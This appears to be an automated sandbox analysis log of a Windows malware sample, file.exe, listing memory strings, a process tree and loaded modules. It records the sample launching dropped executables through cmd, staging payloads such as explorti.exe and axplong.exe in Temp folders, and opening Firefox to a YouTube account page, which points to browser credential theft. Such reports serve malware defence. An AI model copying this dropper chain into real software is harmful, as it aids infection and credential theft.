Source: file.exe, 00000000.00000002.2419726196.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2404705989.000000001CA63000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2420255961.000000006CC3F000.00000002.00000001.01000000.00000007.sdmp Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: file.exe, file.exe, 00000000.00000002.2419726196.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2404705989.000000001CA63000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2420255961.000000006CC3F000.00000002.00000001.01000000.00000007.sdmp Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2419726196.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2404705989.000000001CA63000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2419726196.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2404705989.000000001CA63000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2420255961.000000006CC3F000.00000002.00000001.01000000.00000007.sdmp Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000003.2212018409.0000000022A03000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199752509.00000000229E9000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2419726196.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2404705989.000000001CA63000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: file.exe, 00000000.00000002.2419726196.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2404705989.000000001CA63000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: file.exe Virustotal: Detection: 44%
Source: RoamingKJEGDBKFIJ.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: userIJKFHIIEHI.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: unknown Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe "C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userIJKFHIIEHI.exe"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Users\userIJKFHIIEHI.exe "C:\Users\userIJKFHIIEHI.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6880 -s 2344
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe "C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"
Source: C:\Users\userIJKFHIIEHI.exe Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Process created: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe "C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe"
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7596 -s 1344
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Process created: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe "C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe "C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe"
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7856 -s 1040
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe "C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe"
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: unknown Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2300 -parentBuildID 20230927232528 -prefsHandle 2248 -prefMapHandle 2244 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7e2c2bbc-ae2f-4d63-ad2c-5195ac7123fd} 8164 "\\.\pipe\gecko-crash-server-pipe.8164" 25b37f6c110 socket
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe "C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe"
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 352 -s 1316
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2284 -parentBuildID 20230927232528 -prefsHandle 2224 -prefMapHandle 2164 -prefsLen 25307 -prefMapSize 239580 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a2a719b5-f369-4b52-b0ba-c60f02424b7d} 5236 "\\.\pipe\gecko-crash-server-pipe.5236" 2017196f110 socket
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe" Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userIJKFHIIEHI.exe" Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe "C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe" Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe "C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe" Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Users\userIJKFHIIEHI.exe "C:\Users\userIJKFHIIEHI.exe" Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Process created: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe "C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe"
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Process created: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe "C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe"
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2300 -parentBuildID 20230927232528 -prefsHandle 2248 -prefMapHandle 2244 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7e2c2bbc-ae2f-4d63-ad2c-5195ac7123fd} 8164 "\\.\pipe\gecko-crash-server-pipe.8164" 25b37f6c110 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2284 -parentBuildID 20230927232528 -prefsHandle 2224 -prefMapHandle 2164 -prefsLen 25307 -prefMapSize 239580 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a2a719b5-f369-4b52-b0ba-c60f02424b7d} 5236 "\\.\pipe\gecko-crash-server-pipe.5236" 2017196f110 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Users\user\Desktop\file.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: msimg32.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: msvcr100.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: rstrtmgr.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: mozglue.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: vcruntime140.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: msvcp140.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: vcruntime140.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: pcacli.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: sfc_os.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Section loaded: mstask.dll Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Section loaded: dui70.dll Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Section loaded: duser.dll Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Section loaded: chartv.dll Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Section loaded: oleacc.dll Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Section loaded: atlthunk.dll Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Section loaded: wtsapi32.dll Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Section loaded: explorerframe.dll Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Section loaded: windows.fileexplorer.common.dll Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Section loaded: mstask.dll Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Section loaded: dui70.dll Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Section loaded: duser.dll Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Section loaded: chartv.dll Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Section loaded: oleacc.dll Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Section loaded: atlthunk.dll Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Section loaded: wtsapi32.dll Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Section loaded: windows.fileexplorer.common.dll Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Section loaded: explorerframe.dll Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: msvcr100.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: ntasn1.dll
